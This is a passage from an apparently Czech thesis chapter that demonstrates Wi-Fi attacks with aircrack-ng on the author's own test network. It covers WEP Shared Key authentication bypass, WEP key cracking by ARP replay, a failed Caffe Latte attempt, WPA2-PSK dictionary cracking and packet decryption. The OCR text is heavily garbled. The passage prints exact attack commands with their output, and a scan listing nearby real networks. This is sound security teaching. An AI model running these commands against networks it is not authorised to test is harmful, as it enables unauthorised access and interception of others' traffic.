využívající protokol W P A 2 ( P S K ) pomocí ú toku hrubou silou a je demons t rována 

možnost dešifrování pake tů . Konečně byl t aké demons t rován pokus o ú tok Caffe 

Latte popsaný v kapitole 2.1.3 Útok Caffe Latte. 

P r v n í m krokem všech ú t o k u je zjištění M A C adresy A P . Lze využí t uti l i ty 

airodump-ng: 

airodump-ng wlanO 

CH 4 ] [ E l a p s e d : 48 s ] [ 2 0 1 9 - 1 2 15 0 7 : 18 

B S S I D PWR B e a c o n s # D a t a , # / s CH MB ENC C I P H E R AUTH E S S I D y n e t 

3 4 : 2 C : C 4 : 5 D : 6 5 : F C - 1 0 0 0 1 - 1 < l e n g t h : 0> 
F 4 : E C : 3 8 : B 2 : 5 5 : F 2 - 3 2 2 2 6 0 0 11 5 4 e . WEP WEP T e s t N e t 
5 6 : 6 7 : 1 1 : D B : B F : 4 7 - 5 6 175 0 0 8 2 7 0 WPA2 CCMP MGT UPC W i - F r e e 
5 4 : 6 7 : 5 1 : D B : 8 F : 4 7 - 5 6 173 13 0 8 2 7 0 WPA2 CCMP P S K S k y n e t 
7 8 : C 1 : A 7 : 0 9 : F 2 : E 8 - 6 4 162 0 0 3 130 WPA2 CCMP P S K M u j 0 2 I n t e r n e t 0 9 F 2 E 8 
0 4 : 8 D : 3 8 : 0 9 : C 1 : 9 4 - 7 1 4 3 0 0 2 54 WPA2 CCMP P S K V 0 I P 9 
D 4 : 6 E : 0 E : 7 A : 4 O : D 2 - 7 2 3 5 0 0 2 130 0PN T P - L I N K _ E x t e n d e r _ 7 A 4 0 D 2 
2 0 : 2 B : C 1 : 9 8 : B 4 : D 4 - 6 9 113 0 0 9 130 WPA CCMP P S K I n t e m e t 
2 8 : F F : 3 E : 3 4 : 5 4 : 0 A - 7 4 6 5 3 0 11 130 WPA2 CCMP P S K L o c a l B a r b e r S h o p 
3 8 : 4 3 : 7 D : 6 1 : B B : A B - 7 6 14 0 0 6 130 WPA 2 CCMP P S K S t a b l e c o n n e c t i o n 
3 A : 4 3 : 1 D : 6 1 : B B : A B - 7 8 18 0 0 6 130 WPA 2 CCMP M6T UPC W i - F r e e 
F 0 : 7 D : 6 8 : B 2 : E 9 : 9 D - 7 8 2 1 0 0 11 54 WPA T K I P P S K K0BU 
E C : 4 3 : F 6 : 7 7 : 6 6 : F 8 - 7 9 1 0 0 11 65 WPA 2 CCMP P S K A n d u l k o v i 
C 8 : D 9 : D 2 : C 3 : D 8 : A 9 - 7 8 0 0 0 11 65 WPA 2 CCMP P S K D I R E C T - A 8 - HP O f f i c e J e t I 
3 8 : 4 3 : 7 D : E F : 5 4 : A 9 - 7 6 5 0 0 6 130 WPA 2 CCMP P S K S m e t a n o v i c 6 

B S S I D STATION PWR R a t e L o s t 1 =rames P r o b e 

3 4 : 2 C : C 4 : 5 D : 6 5 : F C 0 0 : 0 8 : C A : F 7 : C 8 : : 6 5 - 7 6 0 - 1 28 6 P řek l i žka 
( n o t a s s o c i a t e d ) D 8 : C E : 3 A : : 2 C : 9 4 : 57 - 7 2 0 - 1 0 4 
( n o t a s s o c i a t e d ) 6 4 : A 6 : 5 1 : A F : 4 5 : :1D - 7 2 0 - 1 0 1 3 2 3 
( n o t a s s o c i a t e d ) B E : 6 0 : D D : 7 8 : E A : : 5 A - 7 4 0 - 1 0 2 
( n o t a s s o c i a t e d ) 7 C : 4 9 : E B : 9 E : 0 5 : 50 - 7 8 0 - 1 0 1 
2 8 : F F : 3 E : 3 4 : 5 4 : 0 A 4 C : 7 4 : B F : 8 1 : 3 D : : 6 F - 1 l e - 0 0 1 
2 8 : F F : 3 E : 3 4 : 5 4 : 0 A C C : 4 4 : 6 3 : 7 A : 3 9 : F8 - 4 9 0 - 2 4 0 1 

Obr. 4.4: Výpis airodump-ng 

Výpis tohoto př íkazu je vidět na obrázku 4.4. V horní části jsou vidět A P v okolí 

včetně jejich B S S I D ( M A C adresa A P ) , výkon ( P W R ) , počet zpráv Beacon (Be-

acons), počet zachycených r á m c ů (#Data), počet r ámců za sekundu (#/s), kanál 

(CH) , protokol ( E N C ) , šifrování ( C I P H E R ) , autentizace ( A U T H ) a ESSID (ESSID). 

N a obrázku lze vidět i vy tvořenou testovací síť TestNet používající protokol W E P . V 

dolní části pak lze vidět zařízení, k t e rá nejsou př ipojena k A P , ale snaží se nějaké na­

j í t . Je dobré si zaznači t B S S I D testovacího A P , v tomto př ípadě F4:EC:38:B2:55:F2. 
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4.1 .1 Testování p r o t o k o l u W E P 

V t é to sekci jsou demons t rovány ú toky Shared Key, ú tok na šifrování W E P a ú tok 

Caffe Latte. Nejprve je nutno nastavit A P tak, aby využíval protokol W E P . To lze u 

zvoleného A P provést v záložce Wireless Security. Jako heslo je zvoleno j ednoduché 

„heslo", jako typ je zvolena autentizace „Shared Key". 

Ú t o k proti autentizaci Shared K e y 

Pomocí tohoto ú toku lze dosáhnou t autentizaci k A P bez znalosti hesla. 

Klient 

Testovací P C 

Shared Key 
autentizace 

Airodump-ng: 
zachycení 

Soubor .xor 

Router 

Aireplay-ng: 
vypočítá keystream 

Aireplay-ng: 
falešná autentizace 
pomocí keystreamu 

Obr. 4.5: Schéma ú toku proti autentizaci Shared Key 

P r v n í m krokem je zachytit autentizaci mezi klientem a A P . K tomu lze opět 

využí t u t i l i tu airodump-ng. Pomocí př íkazu 

airodump-ng wlanO - c 11 - - b s s i d F4:EC:38:B2:55:F2 -w 
WEPKey 

začne zachytávání provozu v rámci sítě TestNet. Možnost ,,-c" specifikuje kanál , 

na k t e r ém A P vysílá a možnost ,,-w" specifikuje název souboru do k te rého budeme 

zachycený provoz uk láda t . Následně je s imulována autentizace klienta na A P jedno­

duše př ipojením se k síti. Airodump-ng automaticky autentizaci zachytí , ind iká torem 

je, že se ve sloupci A U T H objeví „SKA", znamenaj íc í „Shared Key Authentication". 

Aircrack-ng by měl v tento moment vygenerovat soubor W E P K e y - 0 1 - F 4 - E C -

38-B2-55-F2.xor. V něm je uložena zachycená autentizace. 
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K s a m o t n é autentizaci testovacího počí tače lze použí t u t i l i tu aireplay-ng: 

a i r e p l a y - n g -1 0 -e "TestNet" -y 
WEPKey-01-F4-EC-38-B2-55-F2.xor -a F4:EC : 38:B2:55:F2 
-h AA : AA : AA : AA : AA : AA wlanO 

Tento př íkaz provede falešnou autentizaci fiktivního klienta s M A C adresou 

A A : A A : A A : A A : A A : A A k A P TestNet pomocí zachyceného souboru. 

r o o t @ o s b o x e s : - # a i r e p l a y - n g - 1 0 - e " T e s t N e t 1 1 - y W E P K e y - 0 1 - F 4 - E C - 3 8 - B 2 - 5 5 - F 2 . x o r 
- a F 4 : E C : 3 8 : B 2 : 5 5 : F 2 - h A A : A A : A A : A A : A A : A A w l a n O 

T h e i n t e r f a c e MAC ( D O : 3 7 : 4 5 : 5 3 : 3 C : E 8 ) d o e s n ' t m a t c h t h e s p e c i f i e d MAC ( - h ) . 
i f c o n f i g w l a n O hw e t h e r A A : A A : A A : A A : A A : A A 

0 7 : 2 2 : 2 1 W a i t i n g f o r b e a c o n f r a m e ( B S S I D : F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ) o n c h a n n e l 11 

0 7 : 2 2 : 2 1 S e n d i n g A u t h e n t i c a t i o n R e q u e s t ( S h a r e d K e y ) [ A C K ] 
0 7 : 2 2 : 2 1 A u t h e n t i c a t i o n 1 / 2 s u c c e s s f u l 
0 7 : 2 2 : 2 1 S e n d i n g e n c r y p t e d c h a l l e n g e . [ A C K ] 
0 7 : 2 2 : 2 1 A u t h e n t i c a t i o n 2 / 2 s u c c e s s f u l 
0 7 : 2 2 : 2 1 S e n d i n g A s s o c i a t i o n R e q u e s t [ A C K ] 
0 7 : 2 2 : 2 1 A s s o c i a t i o n s u c c e s s f u l : - ) ( A I D : 1 ) 

Obr. 4.6: Výpis aireplay-ng 

N a obrázku 4.6 lze vidět , že autentizace proběh la úspěšně . Jde to ověřit např ík lad 

pomocí př íkazu 

iwconf i g 

r o o t g o s b o x e s : ~ # i w c o n f i g 
l o n o w i r e l e s s e x t e n s i o n s . 

w l a n O I E E E 8 0 2 . l l b g E S S I D : " T e s t N e t " N i c k n a m e : " < W I F I @ R E A L T E K > " 
M o d e : M o n i t o r F r e q u e n c y : 2 . 4 6 2 GHz A c c e s s P o i n t : F 4 : E C : 3 8 : B 2 : 5 5 : F 2 
S e n s i t i v i t y : 0 / 0 
R e t r y : o f f RTS t h r : o f f F r a g m e n t t h r : o f f 
E n c r y p t i o n k e y : o f f 
P o w e r M a n a g e m e n t : o f f 
L i n k Q u a l i t y = l / 1 0 0 S i g n a l l e v e l = - 9 9 dBm N o i s e l e v e l = 0 dBm 
R x i n v a l i d n w i d : 0 R x i n v a l i d c r y p t : 0 Rx i n v a l i d f r a g : 0 
T x e x c e s s i v e r e t r i e s : © I n v a l i d m i s c : 0 M i s s e d b e a c o n : 0 

e t h O n o w i r e l e s s e x t e n s i o n s . 

Obr. 4.7: Výpis iwconfig po autentizaci 

N a obrázku 4.7 lze vidět , že rozhraní wlanO je př ipojeno k A P s M A C adresou 

F4:EC:38:B2:55:F2, což odpovídá . 

Pomoc í tohoto ú toku bylo možné dosáhnout autentizace k tomuto A P . T í m t o 

způsobem by ovšem ještě nedošlo k možnost i komunikovat v rámci sítě, protože 

stále není z n á m používaný klíč. 
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Ú t o k na š i frování W E P 

Tento ú tok je proveden pomocí zachycení dos ta tečného množs tv í zpráv a zjištění 

použi tého hesla k ryp toana lýzou (viz kapitola 2.1.2 Šifrování W E P ) . 

• 
Klient 

Bezdrátová 
komunikace 

Testovací PC 
1-

Aireplay-ng: 
zachycení ARP zpráv 

I 
Aireplay-ng: 

Injektování ARP zpráv 
zpět do sítě 

Aircrack-ng: Po zachycení 
dostatečného množství 

zpráv zjistí heslo 

WEP Klíč 

J Router 

Airodump-ng: 
zachycení 

I 
Soubor .cap 

Obr. 4.8: Schéma ú t o k u na šifrování W E P 

P r v n í m krokem je zachycení dos ta tečného množs tv í zpráv. Opě t lze použí t u t i l i tu 

airodump-ng, stejně jako v předchozím ú toku . 

airodump-ng wlanO -c 11 - - b s s i d F4:EC:38:B2:55:F2 
-w WEPCracking 
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CH 1 1 ] [ E l a p s e d : 2 m i n s ] [ 2 0 1 9 - 1 2 - 1 5 0 8 : 3 3 

B S S I D PWR RXQ B e a c o n s # D a t a , # / S CH MB ENC C I P H E R A U T H E 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 - 2 1 8 4 1 1 8 8 7 6 0 11 5 4 e . WEP WEP T 

B S S I D S T A T I O N PWR R a t e L o s t F r a m e s P r o b e 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 2 0 : 4 7 : D A : 1 6 : A O : 1 7 - 4 0 5 4 e - 6 e 0 18 

Obr. 4.9: Výpis airodump-ng pro W E P síť 

N a obrázku 4.9 vidíme již př ipojeného klienta. Pro ú tok je důležitý sloupec 

#Data, k t e rý poznačuje počet zachycených zpráv. Jelikož je k ú toku p o t ř e b a za­

chytit tisíce r ámců , při normáln í komunikaci by bylo n u t n é čekat příliš dlouho. 

Využi t ím aireplay-ng lze tento proces urychlit. Aireplay-ng bude generovat velké 

množs tv í A R P zpráv opakováním zachyceného provozu. A P bude odpovída t zašif­

rovanými A R P odpověďmi. Airodump-ng tyto odpovědi zachytí . Generování A R P 

lze v novém okně provést př íkazem: 

a i r e p l a y - n g -3 -b F4:EC : 38:B2 : 55:F2 -h 20 : 47:DA : 16:A0 : 17 
wlanO 

Argument „-3" specifikuje A R P zprávy, argument ,,-h" specifikuje M A C adresu 

klienta. Velmi brzo aireplay-ng začne generovat množs tv í A R P zpráv a airodump-ng 

začne zachytávat velké množs tv í provozu (viz obrázky 4.10 a 4.11). 

r o o t @ o s b o x e s : ~ # a i r 
T h e i n t e r f a c e MAC ( 

i f c o n f i g w l 
0 8 : 4 5 : 0 4 W a i t i n g f 
S a v i n g A R P r e q u e s t s 
Y o u s h o u l d a l s o s t a 
R e a d 1 3 9 7 p a c k e t s 
R e a d 1 5 9 5 p a c k e t s 
R e a d 1 7 8 5 p a c k e t s 
R e a d 1 9 8 0 p a c k e t s 
R e a d 2 1 6 7 p a c k e t s 
R e a d 2 3 5 5 p a c k e t s 
R e a d 2 5 5 5 p a c k e t s 
R e a d 2 7 3 3 p a c k e t s 
R e a d 2 9 0 7 p a c k e t s 
R e a d 3 0 9 5 p a c k e t s 
R e a d 3 2 8 0 p a c k e t s 
R e a d 3 4 6 9 p a c k e t s 
R e a d 3 6 2 1 p a c k e t s 
R e a d 3 7 5 0 p a c k e t s 
R e a d 4 0 1 1 p a c k e t s 
R e a d 4 2 5 5 p a c k e t s 
R e a d 4 5 3 8 p a c k e t s 
R e a d 4 7 2 4 p a c k e t s 

e p l a y - n g - 3 - b 
D 0 : 3 7 : 4 5 : 5 3 : 3 C : 
anO hw e t h e r 2 0 
o r b e a c o n f r a m e 

i n r e p l a y a r p -
r t a i r o d u m p - n g 
g o t 8 0 A R P r e q u 
g o t 1 2 8 A R P r e q 
g o t 1 7 4 A R P r e q 
g o t 2 2 4 A R P r e q 
g o t 2 6 8 A R P r e q 
g o t 3 1 4 A R P r e q 
g o t 3 6 0 A R P r e q 
g o t 4 0 2 A R P r e q 
g o t 4 4 4 A R P r e q 
g o t 4 9 0 A R P r e q 
g o t 5 3 6 A R P r e q 
g o t 5 8 3 A R P r e q 
g o t 6 2 0 A R P r e q 
g o t 6 5 0 A R P r e q 
g o t 7 0 2 A R P r e q 
g o t 7 2 9 A R P r e q 
g o t 8 0 4 A R P r e q 
g o t 8 1 0 A R P r e q 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 
E 8 ) d o e s n ' t m a t c h 
: 4 7 : D A : 1 6 : A O : 17 

( B S S I D : F 4 : E C : 3 8 : 
1 2 1 5 - 0 8 4 5 0 4 . c a p 
t o c a p t u r e r e p l i e s 
e s t s a n d 1 1 5 A C K s ) 
u e s t s a n d 1 6 5 A C K s 
u e s t s a n d 2 1 4 A C K s 
u e s t s a n d 2 6 4 A C K s 
u e s t s a n d 3 1 2 A C K s 
u e s t s a n d 3 6 2 A C K s 
u e s t s a n d 4 1 5 A C K s 

a n d 4 6 5 A C K s 
a n d 5 1 1 A C K s 

u e s t s a n d 5 5 9 A C K s 
u e s t s a n d 6 0 8 A C K s 
u e s t s a n d 6 5 7 A C K s 
u e s t s a n d 7 0 3 A C K s 

a n d 7 4 1 A C K s 
a n d 7 9 1 A C K s 

u e s t s a n d 8 4 1 A C K s 
u e s t s a n d 8 9 1 A C K s 
u e s t s a n d 9 4 0 A C K s 

- h 2 0 : 4 7 : D A : 1 6 : A O : 1 7 w l a n O 
t h e s p e c i f i e d MAC ( h ) . 

B 2 : 5 5 : F 2 ) o n c h a n n e l 11 

u e s t s 
u e s t s 

u e s t s 
u e s t s 

s e n t 84 p 
s e n t 1 3 3 
s e n t 1 8 3 
s e n t 2 3 3 
s e n t 2 8 4 
s e n t 3 3 4 
s e n t 3 8 4 
s e n t 4 3 4 
s e n t 4 8 3 
s e n t 5 3 4 
s e n t 5 8 3 
s e n t 6 3 3 
s e n t 6 8 3 
s e n t 7 3 4 
s e n t 7 8 4 
s e n t 8 3 4 
s e n t 8 8 4 
s e n t 9 3 4 

a c k e t s . . . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 
p a c k e t s . 

( 5 0 4 p p s 
( 4 9 8 p 
( 4 9 9 p 
( 4 9 9 p 
( 5 0 1 p 
( 5 0 0 p 
( 5 0 0 p 
( 5 0 0 p 
( 4 9 9 p 
( 5 0 0 p 
( 4 9 9 p 
( 4 9 9 p 
( 4 9 9 p 
( 5 0 0 p 
( 5 0 0 p 
( 5 0 0 p 
( 5 0 0 p 
( 5 0 0 p 

Obr. 4.10: Aireplay-ng generuje A R P zprávy 
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CH 11 ] [ E l a p s e d : 2 m i n s ] [ 2 0 1 9 - 1 2 - 1 5 0 8 : 4 6 ] [ 1 4 0 b y t e s k e y s t r e a m : F 4 : E C : 3 8 : 

B S S I D PWR RXQ B e a c o n s # D a t a , # / s CH MB ENC C I P H E R AUTH E 

F 4 : E C : 3 8 : B 2 : 5 5 : F2 - 2 4 0 1 1 4 6 3 7 4 7 7 1 0 3 5 11 5 4 e . WEP WEP S K A T 

B S S I D S T A T I O N PWR R a t e L o s t F r a m e s P r o b e 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 2 0 : 4 7 : D A : 1 6 : A O : 1 7 0 5 4 e - 1 1 1 1 1 4 5 4 5 6 T e s t N e t 

Obr. 4.11: Airodump-ng zachytává velké množs tv í dat 

Nyní lze začít crackování hesla. K tomu lze použí t aircrack-ng. V novém okně je 

tato ut i l i ta spuš těna pomocí př íkazu: 

a i r c r a c k - n g WEPCracking - 0 1.cap 

Pokud bylo zachyceno dos ta tečné množs tv í zpráv, skoro okamži tě aircrack-ng 

vypoč í t á použi té heslo a vypíše jej (viz obrázek 4.12). 

r o D t @ o s b o x e s : ~ # a i r c r a c k - n g W E P C r a c k i n g - 0 1 . c a p 
O p e n i n g W E P C r a c k i n g - 0 1 . c a p i t . . . 
R e a d 2 4 0 4 9 3 p a c k e t s . 

# B S S I D E S S I D E n c r y p t i o n 

1 F 4 : E C : 3 B : B 2 : 5 5 : F 2 T e s t N e t WEP (0 I V S ) 

C h o o s i n g f i r s t n e t w o r k a s t a r g e t . 

O p e n i n g W E P C r a c k i n g - 0 1 . c a p i t . . . 
R e a d 2 4 1 1 8 0 p a c k e t s . 

1 p o t e n t i a l t a r g e t s 

A t t a c k w i l l b e r e s t a r t e d e v e r y 5 0 0 0 c a p t u r e d i v s . 
S t a r t i n g PTW a t t a c k w i t h 4 7 4 8 4 i v s . 

K E Y FOUND! [ 6 8 : 6 5 : 7 3 : 6 C : 6 F ] ( A S C I I : h e s l o ) 
D e c r y p t e d c o r r e c t l y : 100% 

Obr. 4.12: Výpis aircrack-ng b ě h e m crackování hesla 

Pomoc í tohoto ú toku jde poměrně rychle zjistit používané heslo v rámci W E P 

sítě a demonstrovat tak jeho nebezpečí . 

Ú t o k Caffe Latte 

Tento ú tok umožňuje získání W E P klíče A P na základě komunikace s klientem, 

k te rý se dříve k A P připojil . 
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1. Bezdrátová komunikace 

Klient - mobil 

l \ 11 iÁ\ 
A P - Router 

Sondovací pakety 

Klient - mobil 

Airodump-ng: zachytí a 
zjistí, že klient hledá A P 

Testovací P C 

Připojení 

Klient - mobil 

A i rbase-ng : falešná A P 

Testovací P C 

3 zašifrované A R P pakety 

1 
3 zašifrované A R P pakety 

1 A R P Request pakety 

Klient - mobil 

Zašifrované A R P 
Reply pakety 

Ai rbase-ng: falešná A P 

Airbase-ng: vytvoří a 
pošle velké množství 

A R P Request 

Ai rbase-ng: na základě 
dostatečného množství 

paketů zjistí klíč 

W E P Klíč 

] 
Testovací P C 

Obr. 4.13: Schéma ú t o k u Caffe Latte 

Nejprve je p o t ř e b a nasimulovat scénář, při k t e r ém by k ú toku došlo. Nejdříve se 

klient připojí k A P . Pomoc í airodump-ng si můžeme ověřit, zda je klient opravdu 

připojený, a tedy, že zná používané W E P heslo. 

airodump-ng wlanO — b s s i d F4:EC : 38:B2:55:F2 -c 11 
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CH 11 ] [ E l a p s e d : 42 S ] [ 2 0 1 9 - 1 2 - 1 7 1 3 : 3 2 

BSSID PWR RXQ B e a c o n s # D a t a , # / s CH MB ENC CIPHER AUTH ESSID 

F 4 : E C : 3 B : B 2 : 5 5 : F 2 - 5 1 68 256 14 9 6 5 4 e . WEP WEP T e s t N e t 

BSSID STATION PWR R a t e L o s t Frames Próbe 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 2 0 : 4 7 : D A : 16:AE>: 17 - 5 8 0 - 2e 4 29 

Obr. 4.14: Výpis airodump - klient př ipojený k A P 

N a obrázku 4.14 jde vidět klienta př ipojeného k A P . Následně nasimulujeme 

situaci, kdy se klientovo zařízení nenachází v blízkosti A P , v y p n u t í m testovacího 

routeru. V tomto m o m e n t ě by měl klient začít vysílat sondovací pakety. To lze 

opět ověřit pomocí airodump-ng. V druhé sekci výpisu se objeví klient a v kolonce 

„Probe" , SSID sítě. 

airodump-ng wlanO 

B S S I D S T A T I O N PWR R a t e L o s t F r a m e s P r o b e 

( n o t a s s o c i a t e d ) D A : A 1 : 1 9 : 7 0 : 5 7 : 6 F - 2 0 0 - 6 4 4 T e s t N e t 
( n o t a s s o c i a t e d ) D A : A 1 : 1 9 : 3 A : 1 C : 3 E - 5 6 0 - 1 0 1 T e s t N e t 
( n o t a s s o c i a t e d ) D A : A I : 1 9 : F A : C l : 3 C - 2 2 0 - 1 0 1 T e s t N e t 

Obr. 4.15: Výpis airodump - klient h ledá A P 

N a obrázku 4.15 je vidět klient ak t ivně hledající A P , ke k teré byl př ipojen. Další 

fáze ú t o k u p roběhne pomocí ut i l i ty airbase-ng. Pomocí ní se vytvoř í podvržený A P 

se s te jným SSID (argument ,,-essid"), M A C adresou (argument ,,-a") a kaná lem 

(argument ,,-c"). Pomocí argumentu „-L" se specifikuje ú tok Caffe Latte. Argument 

„-W 1" specifikuje, že je podvržený A P šifrován pomocí W E P . 

a i r b a s e - n g -a F4:EC : 38:B2 : 55:F2 - - e s s i d "TestNet" 
-H -W 1 -c 11 wlanO 

T í m je vše př ipraveno. Klient by se v tomto m o m e n t ě měl automaticky připoj i t k 

t é t o síti, p ro tože pro něj v y p a d á jako síť, ke k teré se dříve připojil . Bohužel v rámci 

testu se, přes množs tv í pokusů , tento krok nezdaři l . Klient (mobilní telefon) se sice 

k A P snaží př ipoj i t , ale nikdy se mu to nepodař í . Jedinou informací je, že se klient 

dostane do fáze „Načí tání IP adresy" a dále ne. 

Výpis airbase-ng není příliš nápomocný. Jsou pouze vidět pokusy o př ipojení (viz 

obrázek 4.16) 
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r o o t ( < i o s b o x e s : - # a i r b a s e - n g - a F 4 : E C : 3 8 : B 2 : 5 5 : F2 - - e s s i d " T e s t N e t " - L -W 1 - c 6 w l a n O 
1 3 : 4 9 : 5 3 C r e a t e d t a p i n t e r f a c e a t O 
1 3 : 4 9 : 5 3 T r y i n g t o s e t MTU on a t e t o 1500 
1 3 : 4 9 : 5 3 T r y i n g t o s e t MTU on w l a n O t o 1800 
e r r o r s e t t i n g MTU on w l a n O 
13 49 53 MTU on w l a n O r e m a i n s at 1500 
13 49 53 A c c e s s P o i n t W i t h B S S I D F 4 : E C : 3 8 : B 2 5 5 : F 2 s t a r t e d . 
13 49 58 C l i e n t 20 47 DA 16 AO : 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 4 7 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 
13 49 58 C l i e n t 20 47 DA 16 AO : 17 as s o c i a t e d (WEP) t o E S S I D " T e s t N e t " 

I 

Obr. 4.16: Výpis airbase-ng - klient se nedokáže připoj i t 

V př ípadě , že by se klient dokázal př ipoj i t , začal by samotný útok. V airodump-

ng by bylo vidět velké množs tv í provozu mezi podvrženou A P a klientem a po urči té 

době by airbase-ng vypsal používaný W E P klíč. Řádově se délka ú toku pohybuje v 

minu tách . 

J e d n á se tak o poměrně zaj ímavý útok, zvláště kvůli tomu, že se klíče zjišťují 

nepř ímou cestou. 

4 .1 .2 Testování W P A / W P A 2 ( P S K ) 

Ú t o k hrubou silou 

Tento ú tok dokáže pomocí slovníku a zachycené autentizace zjistí použ i té heslo 

(v př ípadě , že se ve slovníku nachází) . 

Nejprve je t ř e b a nastavit A P aby tento protokol používal, opě t v záložce Wire-

less Security. Jako heslo je nastaveno „abcdefgh". Je p o t ř e b a aby se vybrané heslo 

nacházelo v použ ívaném slovníku. K a l i L inux v zák ladu obsahuje několik slovníků, 

v rámci tohoto ú toku je použi t slovník nmap.lst. V reá lném scénáři je d o b r ý m ná­

padem použí t slovník, k te rý bere v potaz geograficky specifická hesla. N a vyb raném 

šifrování ( A E S či T K I P ) nezáleží. 

V p r v n í m kroku je p o t ř e b a zachytit autentizaci klientem k dané síti. Opě t lze 

využí t airodump-ng: 

airodump-ng wlanO - c 11 -b F4:EC:38:B2:55:F2 -w WPAPSK 
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• 
Klient 

Testovací P C 
Slovník 

Ctyřcestná 
výměna 

Airodump-ng: 
zachycení 

Soubor .cap 

Router 

Aircrack-ng: Vypočítá 
možné P M K hesel ze 
slovníku a porovná s 

použitým P M K 

W P A klíč 

Obr. 4.17: Schéma ú toku hrubou silou proti W P A 2 ( P S K ) 

C H 1 1 ] [ E l a p s e d : 2 m i n s ] [ 2 0 1 9 - 1 2 - 1 5 0 9 : 1 5 

B S S I D PWR R X Q B e a c o n s # D a t a , # / s CH MB E N C C I P H E R A U T H E S S I D 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 - 2 6 9 0 1 3 1 8 0 0 1 1 1 3 5 W P A 2 C C M P P S K T e s t N e t 

B S S I D S T A T I O M PWR R a t e L o s t F r a m e s P r o b e 

Obr. 4.18: Výpis airodump-ng pro W P A sit 

Dále dojde k simulaci autentizace klientem, airodump-ng by j i měl zachytit. 

CH 1 1 ] [ E l a p s e d : 3 m i n s ] [ 2 0 1 9 - 1 2 - 1 5 0 9 : 1 6 ] [ WPA h a n d s h a k e : F 4 : E C : 3 8 : B 2 : 5 5 : F 2 

B S S I D PWR RXQ B e a c o n s # D a t a , # / s CH MB EMC C I P H E R A U T H E S S I D 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 - 2 3 0 1 6 1 6 5 8 6 1 1 1 3 5 WPA2 CCMP P S K T e s t N e t 

B S S I D S T A T I O N PWR R a t e L o s t F r a m e s P r o b e 

F 4 : E C : 3 8 : B 2 : 5 5 : F 2 2 0 : 4 7 : D A : 1 6 : A O : 1 7 - 2 3 O e - 6 e 4 3 4 6 8 T e s t N e t 

Obr. 4.19: Výpis airodump-ng pro W P A síť po př ipojení klienta 
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Airodump-ng je teď možno vypnout. Pomocí aircrack-ng už lze provést ú tok 

hrubou silou: 

a i r c r a c k - n g WPAPSK-02.cap -w /usr/share/wordlists/nmap. 
1st 

Pokud byla dobře zachycena autentizace a pokud se heslo nachází ve slovníku 

nmap. 1st, měl by ho aircrack-ng nají t velmi rychle. 

A i r c r a c k - n g 1 . 5 . 2 

[ 0 0 : 0 0 : 0 0 ] 1 5 0 4 / 1 5 5 7 k e y s t e s t e d ( 2 6 0 1 . 4 6 k / s ) 

T i m e l e f t : 0 s e c o n d s 9 6 . 6 0 % 

K E Y FOUND! [ a b c d e f g h ] 

M a s t e r K e y : 6 6 18 4 6 6 6 A l D9 C7 2 F ED 5A 0 1 AC 6 F 6 9 9 3 2 3 
6C EB 9 A 8 9 0 7 6D AC 3 1 A 7 A 9 5 6 8B 3 8 D3 2C A 5 

T r a n s i e n t K e y : F9 2 5 DD 5C 7E 9 F 8C E4 B 3 3C F5 EB E 6 C5 1C 11 
FB BF 9C 3 9 9 7 6 2 BB F0 CC 5 A 5D 6 3 D7 2E 2 5 A E 
6 F 64 FE CF A 9 7 2 A 6 BD CD F6 D4 7 1 ED 6 5 F6 DD 
FB 13 7 1 FC 2 0 7 6 0 7 B5 E F 6 A F 6 0 7 DE D2 2B 9 7 

E A P O L HMAC : CB D6 7 8 6 F 4A A 8 A B 4 6 7B 18 3B 5 1 3C D4 F7 9 3 

Obr. 4.20: Výpis aircrack-ng pri crackování W P A 2 ( P S K ) hesla 

N a obrázku 4.20 lze vidět výpis hesla i to, jakou rychlostí bylo heslo zjištěno. V 

tomto př ípadě pracoval rychlostí 2601 klíčů za sekundu. Tento ú tok tedy demonstruje 

jak rychle a j ednoduše lze zjistit špa tně zvolené W i - F i heslo. 

4 . 1 . 3 Dešifrování W E P a W P A paketů 

Kromě samotného zjištění klíčů aircrack-ng umožňuje využi t í těchto klíčů k dešifro­

vání pake tů . Pro tento test jde využí t zachycený provoz z předchozích ú toků . 

Z nějakého důvodu airdecap-ng u W E P pot řebuje W E P klíc v hexadec imáln ím 

formátu. P ř evodem „heslo" z A S C I I do šestnáctkové soustavy dostaneme 68 65 73 

6c 6f. 

airdecap-ng -w 6865736c6f WEPCracking - 0 1.cap 

Výsledkem je přehled dešifrovaných pake tů a soubor WEPCracking-01-dec.cap 

Ten lze dále analyzovat např ík lad pomocí tcpdump. 

tcpdump - r WEPCracking - 0 1-dec.cap 
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Výsledek lze porovnat s p ů v o d n í m souborem. 

0 8 : 4 4 : 0 9 . 4 2 7 0 4 6 D a t a I V : l c b P a d 0 K e y l D 0 

Obr. 4.21: Výs tup tcpdump - zašifrovaný W E P paket 

0 8 : 4 4 : 0 9 . 4 2 7 0 4 6 I P 1 9 2 . 1 6 8 . 1 . 1 0 0 . 6 2 0 1 0 > 1 9 2 . 1 6 8 . 1 . 1 . d o m a i n : 5 0 7 2 2 + A ? a n d r o i d . g 
o o q l e a p i s . c o m . ( 4 0 ) 

Obr. 4.22: Výs tup tcpdump - dešifrovaný W E P paket 

